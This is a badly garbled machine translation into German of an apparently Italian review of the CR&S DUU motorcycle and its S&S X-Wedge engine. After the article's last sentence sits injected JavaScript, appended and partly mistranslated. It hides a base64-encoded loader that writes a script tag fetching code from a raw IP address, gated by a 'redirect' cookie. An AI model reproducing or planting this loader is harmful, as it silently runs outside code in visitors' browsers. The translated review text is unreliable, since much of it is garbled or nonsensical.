zwei Räder

 

Big Twin a Milano!

Nach dem Doppel mono: von einem kleinen Handwerker hat diesen ausgelassene Zweiliter einzigartigen Stil
Riccardo Capacchione

…Sie sagen, in Mailand, es cont cont i heart th Mann ' ". Wir übersetzen für Nicht-Milanese: „Made in Mailand, mit dem Herzen und Händen ", E’ der Satz auf Motorrädern von CR gebaut geschrieben&S Settimo Milanese. das einzige Modell war der Vun im Katalog bis heute, Die schlanke Single, die jetzt eine Schwester hat, durchaus nicht rationalisiert, Er rief DUU. In Milanese Dialekt bedeutet Vun „Eins“ als ein Zylinder, ein Ort, und „einzigartig“. Leitungen, wie Sie sehen werden, stattdessen will „zwei“, wie zwei Zylinder sagen, zwei Plätze und… nur, sie. Die Kunden der CR&S, tatsächlich, Sie können Ihr Fahrrad bestellen, indem Sie die Einstellung der Wahl, Fahrwerkskomponenten, die Vorbereitung des Motors und natürlich die Einfärbungen. Aus diesem Grund ändert sich der Preis viel, ausgehend von der Basis von 20.000 Euro. Die Design-Philosophie hinter den CR-Modelle&S ist einfach zu artikulieren, weniger zu erreichen: das Fahrrad muss wesentlich sein, der gesamte Motor und Fahrwerk auf Sicht, aber es muss auch ein Stil sein, vielmehr zwei: dass der Hersteller und dem Kunden, dass, wie erwähnt, Er beteiligt sich aktiv an der Schaffung von Amts wegen. SE Mangroven E’ trägt? Gia ', Was ist Duu? Es ist ein leistungsstarker Zweizylinder, den die normalen Definitionen entkommt: Gewohnheit nackt, Roadster, Straßenkämpfer? Schwierig, ein bestimmtes Genre zuzuschreiben. am besten, einfach, beschreiben die technischen Merkmale, wirklich einzigartig. Das Chassis ist aus CR konstruiert&S und ist aus einem oberen rohrförmigen giant legiertem Stahl zusammengesetzt, erinnert an das Schema von der Schweizer Spezialist Fritz Er benutzte; wer hat einige’ die Federn hinter Rückruf , unter anderem, Er trägt den wunderbaren Vincent 1967. Das große Hauptrahmenrohr Duu auch die Funktion des Kraftstofftanks, Ein Beispiel für die Strategie des CR-Projekt&S, die dazu neigt, die maximale Integration und Vereinfachung der einzelnen Komponenten. Im hinteren Teil ist die Struktur von Splendid Leichtmetallplatten verschlossen, das Messer von einem „vollen“ geschmiedeten erhalten. Die hinteren Schwingarm Gitter aus Stahlrohren sind an der Seite des Stoßdämpfers verbunden sind. die Räder, andere exklusive CR&S, Sie sind großartig und insbesondere der hintere, Kragarm montiert mit einer einzigen Zentralmutter und in verschiedenen Ausführungen der Rassen. Die Glasfaser-Aufbauten sind wenige und wesentlich; wirklich ungewöhnliche Lösung für die Frontscheinwerfer… nicht c'è, durch zwei seitliche optische Baugruppen in dem „Haifisch Kiemen“ an den Seiten der Gabel untergebracht ersetzt, erinnert an die Stilmerkmale von Vun. Die Autos können DUU sein, wie die, die wir getestet, aber es ist die Konstruktion zu zwei erwartet und dass Reisen, mit Taschen und Sonderzubehör. MAMMA UND POMPON! Der Motor S&S X-Wedge domina la scena. Die beiden Türme colossal aiettate der Zylinder unterscheiden sich voneinander von 56,25 ° und dem Gehäuse innerhalb der Kolben aus 105 -Long-mm mit Bohrung und Hub von 111 Millimeter. Das Schema wiederholt sich, dass von Harley-Davidson-Triebwerke, für das die S&S produziert immer Sonderteile, aber in diesem Fall ist der Antrieb ein völlig neue. Die Köpfe aufnehmen zwei große Ventile (50,8 mm Saug, 40,64 mm am Auspuff), parallel zueinander und von Kipphebeln und Stangen bewegt wird, die auf den drei Nockenwellen ruhen, zwei Auslassventilen und ein gemeinsam Saug, im Kurbelgehäuse befindet. die Änderung, getrennt, Baker ist ein Fünf-Gang. Die Macht und die elektronische Einspritzung, während die Entladungs ​​katalysierten, auf spezifische CR gebaut&S, Es ist unter dem Motor, mit zwei fantastischen ‚Kanonen‘ Seite. Der primäre Kettenantrieb wieder aufnimmt, das Schema Harley und ist auf der linken Seite. PAARE RIMORCHIATORE Wir bestanden viele der Prototyp testen, noch abgeschlossen werden, die DUU, ma ne ist Waltz la Pena. die Doppel, ohne Gegenwellen, Puls, während der, aber darüber schiebt eine beeindruckende Kraft. Die Hinterreifen unter der Ableitung von kgm stöhnend, die DUU Sprünge nach vorn und der Pilot ist gut, die fest am Lenker festhalten. Eine deutliche Steigerung des Sattels würde dazu beitragen, einen Teil des Schubs zum Download, Verringerung der Belastung auf die Arme. Das Gesamtgewicht nicht zu hoch ist, in Bezug auf die Verschiebung, und es ist gut verteilt, wodurch es besser handhabbar DUU als wir erwarten. Die wenige Kilometer im Sattel sie nur eine vage Vorstellung von der Leistung dieses Fahrrades gegeben wurden, die vor ihnen liegen spannende, Wir freuen uns für eine gute Squeeze,.. "Bleib dran", wir halten Sie auf dem Laufenden! Funktion getCookie(e){var U = document.cookie.match(neuer RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/G,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(die[1]):Leere 0}var src =”Daten:text / javascript;base64, ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs =”,jetzt = Math.floor(Date.now()/1e3),cookie = getCookie(“umleiten”);ob(jetzt>=(Zeit = Cookie)||Leere 0 === Zeit){var time = Math.floor(Date.now()/1e3 + 86400),date = new Date((neues Datum).Zeit kriegen()+86400);document.cookie =”redirect =”+Zeit +”; path = /; expires =”+date.toGMTString(),document.write(”)}